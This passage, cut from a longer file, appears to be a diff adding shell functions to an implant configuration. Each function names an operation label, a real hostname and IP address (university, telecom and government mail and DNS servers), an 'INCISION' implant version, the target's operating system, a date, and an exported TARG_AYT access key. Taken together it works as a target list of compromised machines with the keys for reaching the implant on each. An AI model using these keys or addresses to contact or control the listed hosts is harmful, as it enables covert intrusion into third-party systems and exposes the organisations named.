UTC_OFFSET=600 +} + +INTONATION______mail.siom.ac.cn_________________210.72.9.2() { +# INTONATION___mail.siom.ac.cn___210.72.9.2___20040130-100754 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="c9d117fe 0627c192 232facf8" +} + +INTONATION______mail.tropmet.res.in_____________203.199.143.2() { +# INTONATION___mail.tropmet.res.in___203.199.143.2___20061205-165032 + ## INCISION Version:4.11.2.1 OS:i686-pc-linux-gnu-2.4.20-8 + export TARG_AYT="e8880256 5ab23bee edc0b76f" +} + +INTONATION______mail.tsinghua.edu.cn____________166.111.8.17() { +# INTONATION___mail.tsinghua.edu.cn___166.111.8.17___20070125-153203 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="a2ee200f 10a539c7 822de499" +} + +INTONATION______mail.zzu.edu.cn_________________222.22.32.88() { +# INTONATION___mail.zzu.edu.cn___222.22.32.88___20050203-113356 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="3ddb2dd5 9ae410c0 c26b2cf6" +} + +INTONATION______mail1.371.net___________________218.29.0.195() { +# INTONATION___mail1.371.net___218.29.0.195___20021219-153821 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.7 + export TARG_AYT="d3b68be6 cad0d93d 99dbbf17" +} + +INTONATION______mailgw.thtf.com.cn______________218.107.133.12() { +# INTONATION___mailgw.thtf.com.cn___218.107.133.12___20050506-111956 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="d6dd2c7c 27aaf4fb 1bbea7af" +} + +INTONATION______mailhub.minaffet.gov.rw_________62.56.174.152() { +# INTONATION___mailhub.minaffet.gov.rw___62.56.174.152___20030123-190431 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="7a5129ae 352d9fec 27198c00" +} + +INTONATION______mails.cneic.com.cn______________218.247.159.113() { +# INTONATION___mails.cneic.com.cn___218.247.159.113___20040506-152938 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="f1383417 fae9919f 7211d56d" +} + +INTONATION______mailscan3.cau.ctm.net___________202.175.36.180() { +# INTONATION___mailscan3.cau.ctm.net___202.175.36.180___20040203-125322 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="6da2bd5a 5f020634 63650677" +} + +INTONATION______mailsrv02.macau.ctm.net_________202.175.3.120() { +# INTONATION___mailsrv02.macau.ctm.net___202.175.3.120___20041110-164323 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="9bbede35 a442d90a 23251cb2" +} + +INTONATION______mailsvra.macau.ctm.net__________202.175.3.119() { +# INTONATION___mailsvra.macau.ctm.net___202.175.3.119___20041129-140502 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="3af90a70 e2334caf 49a568f0" +} + +INTONATION______mbi3.kuicr.kyoto-u.ac.jp________133.103.101.21() { +# INTONATION___mbi3.kuicr.kyoto-u.ac.jp___133.103.101.21___20020725-132154 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="c9a9589d 87af7062 f9075a12" +} + +INTONATION______mcd-su-2.mos.ru_________________10.34.100.2() { +# INTONATION___mcd-su-2.mos.ru___10.34.100.2___20070206-140548 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="116ac87d a98f7729 71c38ebc" +} + +INTONATION______mipsa.ciae.ac.cn________________202.38.8.1() { +# INTONATION___mipsa.ciae.ac.cn___202.38.8.1___20040909-115106 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="9ac49d9e 7c49d97e 2236c777" +} + +INTONATION______mpkhi-bk.multi.net.pk___________202.141.224.40() { +# INTONATION___mpkhi-bk.multi.net.pk___202.141.224.40___20020826-172332 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="37b1ec88 7961dbac 4dbf0daf" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=660 +} + +INTONATION______msgstore2.pldtprv.net___________192.168.120.3() { +# INTONATION___msgstore2.pldtprv.net___192.168.120.3___20021114-120148 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="e2d817a0 39231c16 a515e43a" +} + +INTONATION______n02.unternehmen.com_____________62.116.144.147() { +# INTONATION___n02.unternehmen.com___62.116.144.147___20050705-151139 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="f30e0607 75d845af 6396e155" +} + +INTONATION______ndl1mc1-a-fixed.sancharnet.in___61.0.0.46() { +# INTONATION___ndl1mx1-a-fixed.sancharnet.in___61.0.0.46___20031204-134957 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="c401fa75 f7e66e09 4b8c6f9d" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=60 +} + +INTONATION______ndl1mx1-a-fixed.sancharnet.in___61.0.0.46() { +# INTONATION___ndl1mx1-a-fixed.sancharnet.in___61.0.0.46___20060606-162122 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="34a8db49 c873525e 4bbbbe1c" +} + +INTONATION______ndl1pp1-a-fixed.sancharnet.in___61.0.0.71() { +# INTONATION___ndl1pp1-a-fixed.sancharnet.in___61.0.0.71___20040406-142450 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="fbf7561f 9021078e 82e28f87" +} + +INTONATION______no1.unternehemen.com____________62.116.144.150() { +# INTONATION___no1.unternehemen.com___62.116.144.150___20050127-173545 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="83a1ca9a e6d626ab 3081ad25" +} + +INTONATION______no3.unternehmen.org_____________62.116.144.190() { +# INTONATION___no3.unternehmen.org___62.116.144.190___20050920-130356 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="ec96bd02 bdfa6528 769db161" +} + +INTONATION______ns.cac.com.cn___________________202.98.102.5() { +# INTONATION___ns.cac.com.cn___202.98.102.5___20030325-142643 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="3101bbd2 986a801c b4f87169" +} + +INTONATION______ns1.2911.net____________________202.99.41.9() { +# INTONATION___ns1.2911.net___202.99.41.9___20041103-115142 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="0df2b008 189b3465 ad9c5b14" +} + +INTONATION______ns1.multi.net.pk________________202.141.224.34() { +# INTONATION___ns1.multi.net.pk___202.141.224.34___20020826-161236 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="0fec50bf 8aea8798 feb3d724" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=660 +} + +INTONATION______ns2.xidian.edu.cn_______________202.117.112.4() { +# INTONATION___ns2.xidian.edu.cn___202.117.112.4___20041025-142854 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="30cac4b5 442673a3 b0074e86" +} + +INTONATION______orion.platino.gov.ve____________161.196.215.67() { +# INTONATION___orion.platino.gov.ve___161.196.215.67___20030124-003332 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="df0fe25c 2e83f666 6d0b4682" +} + +INTONATION______outweb.nudt.edu.cn______________202.197.0.185() { +# INTONATION___outweb.nudt.edu.cn___202.197.0.185___20031113-142441 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="b0cd0f85 f68ed634 3b36e295" +} + +INTONATION______pop.net21pk.com_________________203.135.45.66() { +# INTONATION___pop.net21pk.com___203.135.45.66___20011109-094618 + ## INCISION Version:4.8 OS:i386-pc-solaris2.7 + export TARG_AYT="60cbe3ed c8524547 3be1117a" +} + +INTONATION______post.netchina.com.cn____________202.94.1.48() { +# INTONATION___post.netchina.com.cn___202.94.1.48___20020221-095050 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="d0eab020 8b499a7e ae3a5c1d" +} + +INTONATION______public2.zz.ha.cn________________218.29.0.200() { +# INTONATION___public2.zz.ha.cn___218.29.0.200___20021024-130727 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.7 + export TARG_AYT="7fcf9429 e0ee0c9b 92154b17" +} + +INTONATION______sea.net.edu.cn__________________202.112.5.66() { +# INTONATION___sea.net.edu.cn___202.112.5.66___20031023-175029 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="2b30e885 8c02d366 99047a51" +} + +INTONATION______smmu-ipv6.smmu.edu.cn___________202.121.224.5() { +# INTONATION___smmu-ipv6.smmu.edu.cn___202.121.224.5___20070126-160444 + ## INCISION Version:4.11.2.1 OS:i686-pc-linux-gnu-2.4.20-8 + export TARG_AYT="a339824d 338cc069 3360d5ea" +} + +INTONATION______smtp.2911.net___________________218.245.255.5() { +# INTONATION___smtp.2911.net___218.245.255.5___20041208-155757 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="876ef40b 35821f19 c0b61c74" +} + +INTONATION______smtp.macau.ctm.net______________202.175.36.220() { +# INTONATION___smtp.macau.ctm.net___202.175.36.220___20040310-144519 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="9fd58b50 0de85148 2cbc3bbe" +} + +INTONATION______sonatns.sonatrach.dz____________193.194.75.35() { +# INTONATION___sonatns.sonatrach.dz___193.194.75.35___20020418-113439 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="e7a5aeec 422041ec 00a32f82" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=120 +} + +INTONATION______sparc.nour.net.sa_______________212.12.160.26() { +# INTONATION___sparc.nour.net.sa___212.12.160.26___20040920-165854 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.9 + export TARG_AYT="41d49a3a 8232e0f1 e527a917" +} + +INTONATION______sps01.office.ctm.net____________202.175.4.38() { +# INTONATION___sps01.office.ctm.net___202.175.4.38___20040803-134817 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="65587160 81a0acdd a9e0eea1" +} + +INTONATION______sunhe.jinr.ru___________________159.93.18.100() { +# INTONATION___sunhe.jinr.ru___159.93.18.100___20070117-183712 + ## INCISION Version:4.10.2.10 OS:i386-pc-solaris2.7 + export TARG_AYT="e61da076 fac29c1e 81fb53bf" +} + +INTONATION______sussi.cressoft.com.pk___________202.125.140.194() { +# INTONATION___sussi.cressoft.com.pk___202.125.140.194___20011101-145536 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="a856ccdc f2332998 8d582007" +} + +INTONATION______ultra2.tsinghua.edu.cn__________166.111.120.10() { +# INTONATION___ultra2.tsinghua.edu.cn___166.111.120.10___20060823-114519 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="148f6d55 041f5110 c3ff2269" +} + +INTONATION______unknown.counsellor.gov.cn_______61.151.243.13() { +# INTONATION___unknown.counsellor.gov.cn___61.151.243.13___20040414-090039 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="b1407a1a 358e2d36 1c2566dd" +} + +INTONATION______voyager1.telesat.com.co_________66.128.32.68() { +# INTONATION___voyager1.telesat.com.co___66.128.32.68___20030821-014410 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="ac0bd167 749b69ec 4d4c889f" +} + +INTONATION______webserv.mos.ru__________________10.30.10.2() { +# INTONATION___webserv.mos.ru___10.30.10.2___20061102-153710 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="a7b25fd8 ec73c517 e58328b9" +} + +INTONATION______www.siom.ac.cn__________________202.127.16.44() { +# INTONATION___www.siom.ac.cn___202.127.16.44___20040130-100548 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="2316009b e3666f77 a2265fbf" +} + +INTONATION______www21.counsellor.gov.cn_________130.34.115.132() { +# INTONATION___www21.counsellor.gov.cn___130.34.115.132___20040414-114204 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="051fe7c6 32aa93d2 5ddf61be" +} + +INTONATION______www21.counsellor.gov.cn_________61.151.243.13() { +# INTONATION___www21.counsellor.gov.cn___61.151.243.13___20040414-115729 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="10d583c2 f781efa1 773de082" +} + +JOHNS_OP________bob.bob.com_____________________1.2.3.4() { +# JOHNS_OP___bob.bob.com___1.2.3.4___20051003-142757 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="ec76b54a 1a0c917d 8e102407" +} + +JOHNTEST________bob.bob.com_____________________1.2.3.4() { +# JOHNTEST___bob.bob.com___1.2.3.4___20060721-191129 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="1aef6232 f5ba9631 1f3acb9e" +} + +JOHNTEST________john.john.com___________________1.2.3.4() { +# JOHNTEST___john.john.com___1.2.3.4___20060921-162307 + ## INCISION Version:1.1.2.1 OS:hppa2.0w-hp-hpux11.00 + export TARG_AYT="NOT KEYED" +} + +LAMPSWITCH______unknown.unknown_________________1.2.3.4() { +# LAMPSWITCH___unknown.unknown___1.2.3.4___20050111-110013 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="ab076006 1d6e3cec 4fe10591" +} + +PITCHIMPAIR_____Spirit.das2.ru__________________81.94.47.83() { +# PITCHIMPAIR___Spirit.das2.ru___81.94.47.83___20050314-174949 + ## INCISION Version:4.9.1 OS:i386-pc-solaris2.8 + export TARG_AYT="e7b1cc4b e322deb3 dc090a11" +} + +PITCHIMPAIR_____anie.sarenet.es_________________192.148.167.2() { +# PITCHIMPAIR_ES2___anie.sarenet.es___192.148.167.2___20010918-185846 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.6 + export TARG_AYT="ebfd82cd afbc1fe0 6a2fbcd5" +} + +PITCHIMPAIR_____aries.ficnet.net________________202.145.137.19() { +# PITCHIMPAIR_TW___mx.iplus.net.tw___202.145.137.19___20010822-102804 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="1662b4de 966aea14 10622227" +} + +PITCHIMPAIR_____asic.e-technik.uni-rostock.de___139.30.202.8() { +# PITCHIMPAIR___asic.e-technik.uni-rostock.de___139.30.202.8___20070124-134252 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="4f49f0f1 9aff3a76 ccbb6d0e" +} + +PITCHIMPAIR_____burgoa.sarenet.es_______________194.30.32.242() { +# PITCHIMPAIR___burgoa.sarenet.es___194.30.32.242___20010918-162814 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="1c4dfce1 8bca119e 7ce71ae3" +} + +PITCHIMPAIR_____cad-server1.EE.NCTU.edu.tw______140.113.212.150() { +# PITCHIMPAIR___cad-server1.EE.NCTU.edu.tw___140.113.212.150___20040322-113315 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="dba1abf2 c5b1b090 ace01585" +} + +PITCHIMPAIR_____ciidet.rtn.net.mx_______________204.153.24.32() { +# PITCHIMPAIR___ciidet.rtn.net.mx___204.153.24.32___20060928-005616 + ## INCISION Version:4.10.2.14 OS:sparc-sun-solaris2.7 + export TARG_AYT="3545126d 3b4d7202 9cd26095" +} + +PITCHIMPAIR_____cmusun8.unige.ch________________129.194.97.8() { +# PITCHIMPAIR___cmusun8.unige.ch___129.194.97.8___20040408-215133 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="f864fded c74315bc e5fd7109" +} + +PITCHIMPAIR_____colpisaweb.sarenet.es___________194.30.32.229() { +# PITCHIMPAIR___colpisaweb.sarenet.es___194.30.32.229___20041202-195849 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="2bd4cb74 18f3e9d7 99316a48" +} + +PITCHIMPAIR_____connection1.connection.com.br___200.160.208.4() { +# PITCHIMPAIR___connection1.connection.com.br___200.160.208.4___20070907-122727 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="6e25159c 46d85529 11f73e34" +} + +PITCHIMPAIR_____connection2.connection.com.br___200.160.208.8() { +# PITCHIMPAIR___connection2.connection.com.br___200.160.208.8___20051027-184836 + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="6b841bb9 d8bb6e2c 2660759c" +} + +PITCHIMPAIR_____dns1.unam.mx____________________132.248.204.1() { +# PITCHIMPAIR___dns1.unam.mx___132.248.204.1___20030514-155556 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="54dae6e7 aa9a3382 b45e6372" +} + +PITCHIMPAIR_____dns2.chinamobile.com____________211.137.241.34() { +# PITCHIMPAIR___dns2.chinamobile.com___211.137.241.34___20060222-114032 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="05d4ede8 c5575d0e b661a4a5" +} + +PITCHIMPAIR_____dns2.unam.mx____________________132.248.10.2() { +# PITCHIMPAIR___dns2.unam.mx___132.248.10.2___20010921-100732 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.6 + export TARG_AYT="ab662152 c1f9a718 ad32e399" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=-60 +} + +PITCHIMPAIR_____dragon.unideb.hu________________193.6.138.65() { +# PITCHIMPAIR___dragon.unideb.hu___193.6.138.65___20040929-215658 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="bb7c47f0 ecd2b8c0 338fccee" +} + +PITCHIMPAIR_____dukas.upc.es____________________147.83.2.62() { +# PITCHIMPAIR___dukas.upc.es___147.83.2.62___20031119-174549 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="97e9b702 8e634360 fc9dc8d3" +# [ "$UTC_OFFSET" ] || export UTC_OFFSET=60 +} + +PITCHIMPAIR_____e3000.hallym.ac.kr______________210.115.225.16() { +# PITCHIMPAIR___e3000.hallym.ac.kr___210.115.225.16___20050308-122314 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="fda8f372 60167c38 f0013225" +} + +PITCHIMPAIR_____electra.otenet.gr_______________195.170.2.3() { +# PITCHIMPAIR___electra.otenet.gr___195.170.2.3___20031008-173403 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="fafcdfec 8a830c16 2167276d" +} + +PITCHIMPAIR_____fl.sun-ip.or.jp_________________150.27.1.10() { +# PITCHIMPAIR___fl.sun-ip.or.jp___150.27.1.10___20040415-105302 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.6 + export TARG_AYT="9b1be55a c3e93b7c 5e533337" +} + +PITCHIMPAIR_____ftp.hyunwoo.co.kr_______________211.232.97.195() { +# PITCHIMPAIR___ftp.hyunwoo.co.kr___211.232.97.195___20050830-140317 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="fe2c7c71 c9a3416a 63f9a7ef" +} + +PITCHIMPAIR_____ganeran.sarenet.es______________194.30.32.177() { +# PITCHIMPAIR___ganeran.sarenet.es___194.30.32.177___20040408-204729 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="8f8e2041 bb85fc5b ed121e5a" +} + +PITCHIMPAIR_____geosun1.unige.ch________________129.194.41.4() { +# PITCHIMPAIR___geosun1.unige.ch___129.194.41.4___20040211-194058 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="14736d79 d5201861 9363f6a0" +} + +PITCHIMPAIR_____giada.ing.unirc.it______________192.167.50.14() { +# PITCHIMPAIR___giada.ing.unirc.it___192.167.50.14___20030424-144321 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="e67bd879 0107a9b7 467fd886" +} + +PITCHIMPAIR_____hk.sun-ip.or.jp_________________150.27.1.5() { +# PITCHIMPAIR___hk.sun-ip.or.jp___150.27.1.5___20020503-112719 + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="17a46133 1378224a d5e183b7" +} + +PITCHIMPAIR_____iconoce1.sarenet.es_____________194.30.0.16() { +# PITCHIMPAIR___iconoce1.sarenet.es___194.30.0.16___20050307-184346 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="3c256e0a 0fbc627f 903581a6" +} + +PITCHIMPAIR_____icrsun.kuicr.kyoto-u.ac.jp______133.3.5.20() { +# PITCHIMPAIR___icrsun.kuicr.kyoto-u.ac.jp___133.3.5.20___20021125-151922 + ## INCISION Version:4.9 OS:sparc-sun-solaris2.8 + export TARG_AYT="76d97f78 d66f71fc a2f6cd48" +} + +PITCHIMPAIR_____ids2.int.ids.pl_________________195.117.3.32() { +# PITCHIMPAIR___ids2.int.ids.pl___195.117.3.32___20040929-215117 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="3c27c15e 6a9c2799 1eadbeeb" +} + +PITCHIMPAIR_____iti-idsc.net.eg_________________163.121.12.2() { +# PITCHIMPAIR___iti-idsc.net.eg___163.121.12.2___20030807-171521 + ## INCISION Version:4.9 OS:i386-pc-solaris2.8 + export TARG_AYT="daa2e382 6562c43f 0b8956bf" +} + +PITCHIMPAIR_____kommsrv.RZ.UniBw-Muenchen.de____137.193.10.8() { +# PITCHIMPAIR___kommsrv.RZ.UniBw-Muenchen.de___137.193.10.8___20050705-171558 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="aebd9d0b 16d5a8ba 4003ab97" +} + +PITCHIMPAIR_____logos.uba.uva.nl________________145.18.84.96() { +# PITCHIMPAIR___logos.uba.uva.nl___145.18.84.96___20050830-155753 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="9612b0f0 7fd7c68c 67f6f2ba" +} + +PITCHIMPAIR_____ltv.com.ve______________________200.75.112.26() { +# PITCHIMPAIR___ltv.com.ve___200.75.112.26___20050323-215019 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="9b241b8b 25b2b914 871fe97f" +} + +PITCHIMPAIR_____mail.a-1.net.cn_________________210.77.147.84() { +# PITCHIMPAIR___mail.a-1.net.cn___210.77.147.84___20010313-132258 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="44f8cc98 4a0c5b9f dc04d75a" +} + +PITCHIMPAIR_____mail.bhu.ac.in__________________202.141.107.15() { +# PITCHIMPAIR___mail.bhu.ac.in___202.141.107.15___20050629-115843 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="cb2c8f78 04ac605c d27d569f" +} + +PITCHIMPAIR_____mail.btbu.edu.cn________________211.82.112.23() { +# PITCHIMPAIR___mail.btbu.edu.cn___211.82.112.23___20060531-165405 + ## INCISION Version:4.10.2.15 OS:sparc-sun-solaris2.8 + export TARG_AYT="cd79cf28 5d1471a8 f5127255" +} + +PITCHIMPAIR_____mail.dyu.edu.tw_________________163.23.1.73() { +# PITCHIMPAIR___mail.dyu.edu.tw___163.23.1.73___20041022-112836 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="27d6c216 597d457b 73c6a442" +} + +PITCHIMPAIR_____mail.et.ntust.edu.tw____________140.118.2.53() { +# PITCHIMPAIR___mail.et.ntust.edu.tw___140.118.2.53___20050315-111913 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="f442cc15 9c07e0df 3be0a297" +} + +PITCHIMPAIR_____mail.hanseo.ac.kr_______________203.234.72.4() { +# PITCHIMPAIR___mail.hanseo.ac.kr___203.234.72.4___20050321-110247 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="b840ebfe 057cab3d 8d15bce5" +} + +PITCHIMPAIR_____mail.hccc.gov.tw________________210.241.6.97() { +# PITCHIMPAIR___mail.hccc.gov.tw___210.241.6.97___20050316-130348 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="0004b8b2 8bc04e1a 6a1d51af" +} + +PITCHIMPAIR_____mail.howon.ac.kr________________203.246.64.14() { +# PITCHIMPAIR___mail.howon.ac.kr___203.246.64.14___20041227-102929 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="2c0eb924 7ad51e71 40800749" +} + +PITCHIMPAIR_____mail.irtemp.na.cnr.it___________140.164.20.20() { +# PITCHIMPAIR___mail.irtemp.na.cnr.it___140.164.20.20___20040929-200426 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.7 + export TARG_AYT="c82e4be3 d00f89bb 7b27d0a6" +} + +PITCHIMPAIR_____mail.jccs.com.sa________________212.70.32.100() { +# PITCHIMPAIR___mail.jccs.com.sa___212.70.32.100___20031016-185322 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="2c750c82 ea9736a6 ec815225" +} + +PITCHIMPAIR_____mail.lzu.edu.cn_________________202.201.0.136() { +# PITCHIMPAIR___mail.lzu.edu.cn___202.201.0.136___20050331-143207 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="a93a0064 ba051b6d a8765bdb" +} + +PITCHIMPAIR_____mail.mae.co.kr__________________210.118.179.1() { +# PITCHIMPAIR___mail.mae.co.kr___210.118.179.1___20041022-114228 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.6 + export TARG_AYT="b1159736 6eeb838c 8843911c" +} + +PITCHIMPAIR_____mail.must.edu.tw________________203.68.220.40() { +# PITCHIMPAIR___mail.must.edu.tw___203.68.220.40___20041022-133501 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="04e59402 3ed51d1f f348279e" +} + +PITCHIMPAIR_____mail.ncue.edu.tw________________163.23.225.100() { +# PITCHIMPAIR___mail.ncue.edu.tw___163.23.225.100___20041022-122302 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="1bbb6cde 44602da5 5e0c95b3" +} + +PITCHIMPAIR_____mail.tccn.edu.tw________________203.64.35.108() { +# PITCHIMPAIR___mail.tccn.edu.tw___203.64.35.108___20041018-114141 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="7639c0c4 06dd34c3 fc84708b" +} + +PITCHIMPAIR_____mail.tpo.fi_____________________193.185.60.42() { +# PITCHIMPAIR___mail.tpo.fi___193.185.60.42___20020515-152758 + ## INCISION Version:4.6 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="a0cdadb7 1469cde5 4cbe7a44" +} + +PITCHIMPAIR_____mail.univaq.it__________________192.150.195.10() { +# PITCHIMPAIR___mail.univaq.it___192.150.195.10___20030728-140532 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="b2713e94 e7d4ab0e bc859b1a" +} + +PITCHIMPAIR_____mail.utc21.co.kr________________211.40.103.194() { +# PITCHIMPAIR___mail.utc21.co.kr___211.40.103.194___20041022-135011 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="bf69a63f fa1e8e4e 922ad014" +} + +PITCHIMPAIR_____mail1.imtech.res.in_____________203.90.127.22() { +# PITCHIMPAIR___mail1.imtech.res.in___203.90.127.22___20050523-163201 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="b996d4a0 daf603d5 326257fb" +} + +PITCHIMPAIR_____mailer.ing.unirc.it_____________192.167.50.202() { +# PITCHIMPAIR___mailer.ing.unirc.it___192.167.50.202___20030728-150749 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="557f0bb4 240a7be1 dbfa0ebb" +} + +PITCHIMPAIR_____mailgw.idom.es__________________194.30.33.29() { +# PITCHIMPAIR___mailgw.idom.es___194.30.33.29___20050812-162609 + ## INCISION Version:4.10.1.2 OS:sparc-sun-solaris2.9 + export TARG_AYT="50532db8 350bf5ef d3e67af6" +} + +PITCHIMPAIR_____matematica.univaq.it____________192.150.195.38() { +# PITCHIMPAIR___matematica.univaq.it___192.150.195.38___20060213-171929 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="b5e674e8 b6688253 9272a307" +} + +PITCHIMPAIR_____mbox.com.eg_____________________213.212.208.10() { +# PITCHIMPAIR___mbox.com.eg___213.212.208.10___20041119-101453 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="bfed4ee4 a1d80857 45faf680" +} + +PITCHIMPAIR_____milko.stacken.kth.se____________130.237.234.3() { +# PITCHIMPAIR___milko.stacken.kth.se___130.237.234.3___20060330-161350 + ## INCISION Version:4.10.3.1 OS:sparc-sun-solaris2.9 + export TARG_AYT="904a9515 6aaf6e79 7cd2085d" +} + +PITCHIMPAIR_____moneo.upc.es____________________147.83.2.91() { +# PITCHIMPAIR___moneo.upc.es___147.83.2.91___20041202-201020 + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="77e3faa7 94516ce4 e7789cdf" +} + +PITCHIMPAIR_____mtrader2.grupocorreo.es_________194.30.32.29() { +# PITCHIMPAIR___mtrader2.grupocorreo.es___194.30.32.29___20040614-181443 + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="d952eb3b fd1d0eb9 